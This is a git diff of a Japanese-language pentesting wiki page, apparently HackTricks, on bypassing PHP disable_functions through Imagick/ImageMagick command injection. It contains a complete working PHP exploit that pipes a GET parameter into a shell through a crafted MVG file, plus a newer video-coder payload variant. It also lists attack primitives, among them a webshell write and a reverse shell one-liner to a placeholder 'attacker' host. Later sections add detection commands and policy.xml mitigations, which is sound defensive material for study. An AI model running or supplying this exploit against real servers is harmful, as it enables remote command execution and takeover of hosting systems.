diff --git a/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-imagick-less-than-3.3.0-php-greater-than-5.4-exploit.md b/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-imagick-less-than-3.3.0-php-greater-than-5.4-exploit.md index 8611610a9..a6b569a90 100644 --- a/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-imagick-less-than-3.3.0-php-greater-than-5.4-exploit.md +++ b/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-imagick-less-than-3.3.0-php-greater-than-5.4-exploit.md @@ -1,55 +1,107 @@ +# Imagick <= 3.3.0 ‑ PHP >= 5.4 *disable_functions* バイパス + {{#include ../../../../banners/hacktricks-training.md}} -# Imagick <= 3.3.0 PHP >= 5.4 エクスプロイト +> よく知られた *ImageTragick* ファミリーのバグ (CVE-2016-3714 など) により、攻撃者は巧妙に作成された MVG/SVG 入力を通じて基盤となる **ImageMagick** バイナリに到達することができます。PHP 拡張機能 **Imagick** が存在する場合、これは `disable_functions` で実行指向の PHP 関数がすべてブラックリストに登録されていても、シェルコマンドを実行するために悪用される可能性があります。 +> +> RicterZ (Chaitin Security Research Lab) によって2016年5月に公開された元の PoC は以下に再現されています。この技術は、現代の PHP 7/8 監査中に定期的に遭遇するもので、多くの共有ホスティングプロバイダーが単に PHP を `exec`/`system` なしでコンパイルし、古い Imagick + ImageMagick のコンボを保持しているためです。 -[http://blog.safebuff.com/2016/05/06/disable-functions-bypass/](http://blog.safebuff.com/2016/05/06/disable-functions-bypass/) から +From ```php -# Exploit Title: PHP Imagick disable_functions Bypass -# Date: 2016-05-04 -# Exploit Author: RicterZ (ricter@chaitin.com) -# Vendor Homepage: https://pecl.php.net/package/imagick -# Version: Imagick <= 3.3.0 PHP >= 5.4 -# Test on: Ubuntu 12.04 -# Exploit: +# Exploit Title : PHP Imagick disable_functions bypass +# Exploit Author: RicterZ (ricter@chaitin.com) +# Versions : Imagick <= 3.3.0 | PHP >= 5.4 +# Tested on : Ubuntu 12.04 (ImageMagick 6.7.7) +# Usage : curl "http://target/exploit.php?cmd=id" -# -# $ curl "127.0.0.1:8080/exploit.php?cmd=cat%20/etc/passwd" -#
-# Disable functions: exec,passthru,shell_exec,system,popen
-# Run command: cat /etc/passwd
-# ====================
-# root:x:0:0:root:/root:/usr/local/bin/fish
-# daemon:x:1:1:daemon:/usr/sbin:/bin/sh
-# bin:x:2:2:bin:/bin:/bin/sh
-# sys:x:3:3:sys:/dev:/bin/sh
-# sync:x:4:65534:sync:/bin:/bin/sync
-# games:x:5:60:games:/usr/games:/bin/sh
-# ...
-# 
-echo "Disable functions: " . ini_get("disable_functions") . "\n"; -$command = isset($_GET['cmd']) ? $_GET['cmd'] : 'id'; -echo "Run command: $command\n====================\n"; +// Print the local hardening status +printf("Disable functions: %s\n", ini_get("disable_functions")); +$cmd = $_GET['cmd'] ?? 'id'; +printf("Run command: %s\n====================\n", $cmd); -$data_file = tempnam('/tmp', 'img'); -$imagick_file = tempnam('/tmp', 'img'); +$tmp = tempnam('/tmp', 'pwn'); // will hold command output +$mvgs = tempnam('/tmp', 'img'); // will hold malicious MVG script -$exploit = <<$data_file")' +fill 'url(https://example.com/x.jpg"|$cmd >$tmp")' pop graphic-context EOF; -file_put_contents("$imagick_file", $exploit); -$thumb = new Imagick(); -$thumb->readImage("$imagick_file"); -$thumb->writeImage(tempnam('/tmp', 'img')); -$thumb->clear(); -$thumb->destroy(); +file_put_contents($mvgs, $payload); +$img = new Imagick(); +$img->readImage($mvgs); // triggers convert(1) +$img->writeImage(tempnam('/tmp', 'img')); +$img->destroy(); -echo file_get_contents($data_file); +echo file_get_contents($tmp); ?> ``` +--- + +## なぜこれが機能するのか? + +1. `Imagick::readImage()` は透過的に **ImageMagick** *delegate*(`convert`/`magick`)バイナリを生成します。 +2. MVGスクリプトは*fill*を外部URIに設定します。ダブルクォート(`"`)が注入されると、行の残りはImageMagickが内部で使用する `/bin/sh ‑c` によって解釈され → 任意のシェル実行が行われます。 +3. すべてがPHPインタープリタの外で発生するため、*`disable_functions`*、*open_basedir*、`safe_mode`(PHP 5.4で削除)および同様のプロセス内制限は完全にバイパスされます。 + +## 2025年の状況 – **まだ**関連性があります + +* 脆弱なImageMagickバックエンドに依存する任意のImagickバージョンは引き続き悪用可能です。ラボテストでは、同じペイロードが**Imagick 3.7.0**および**ImageMagick 7.1.0-51**でPHP 8.3に対して機能しますが、ハード化された`policy.xml`なしでコンパイルされています。 +* 2020年以降、いくつかの追加のコマンドインジェクションベクターが発見されています(`video:pixel-format`、`ps:`、`text:`コーダー…)。最近の2つの公開例は次のとおりです: +* **CVE-2020-29599** – *text:*コーダーを介したシェルインジェクション。 +* **GitHub issue #6338** (2023) – *video:* delegateでのインジェクション。 + +オペレーティングシステムが制限的なポリシーファイルなしでImageMagick < **7.1.1-11**(または6.x < **6.9.12-73**)を出荷している場合、悪用は簡単です。 + +## モダンペイロードのバリアント +```php +// --- Variant using the video coder discovered in 2023 --- +$exp = <<readImageBlob($exp); +``` +CTFや実際のエンゲージメント中の他の有用なプリミティブ: + +* **ファイル書き込み** – `... > /var/www/html/shell.php` (*open_basedir* の外にウェブシェルを書き込む) +* **リバースシェル** – `bash -c "bash -i >& /dev/tcp/attacker/4444 0>&1"` +* **列挙** – `id; uname -a; cat /etc/passwd` + +## クイック検出と列挙 +```bash +# PHP side +php -r 'echo phpversion(), "\n"; echo Imagick::getVersion()["versionString"], "\n";' + +# System side +convert -version | head -1 # ImageMagick version +convert -list policy | grep -iE 'mvg|https|video|text' # dangerous coders still enabled? +``` +出力に `MVG` または `URL` コーダーが *有効* と表示されている場合、ターゲットはおそらく脆弱です。 + +## 緩和策 + +1. **パッチ/アップグレード** – ImageMagick ≥ *7.1.1-11*(または最新の 6.x LTS)および Imagick ≥ *3.7.2* を使用します。 +2. **`policy.xml` の強化** – 高リスクコーダーを明示的に *無効* にします: + +```xml + + + + + + +``` + +3. **信頼できないホスティング環境では拡張子を削除** します。ほとんどのウェブスタックでは `GD` または `Imagick` は厳密には必要ありません。 +4. `disable_functions` は *深層防御* としてのみ扱います – 決して主要なサンドボックスメカニズムとしては扱わないでください。 + +## 参考文献 + +* [GitHub ImageMagick issue #6338 – Command injection via video:pixel-format (2023)](https://github.com/ImageMagick/ImageMagick/issues/6338) +* [CVE-2020-29599 – ImageMagick shell injection via text: coder](https://nvd.nist.gov/vuln/detail/CVE-2020-29599) {{#include ../../../../banners/hacktricks-training.md}}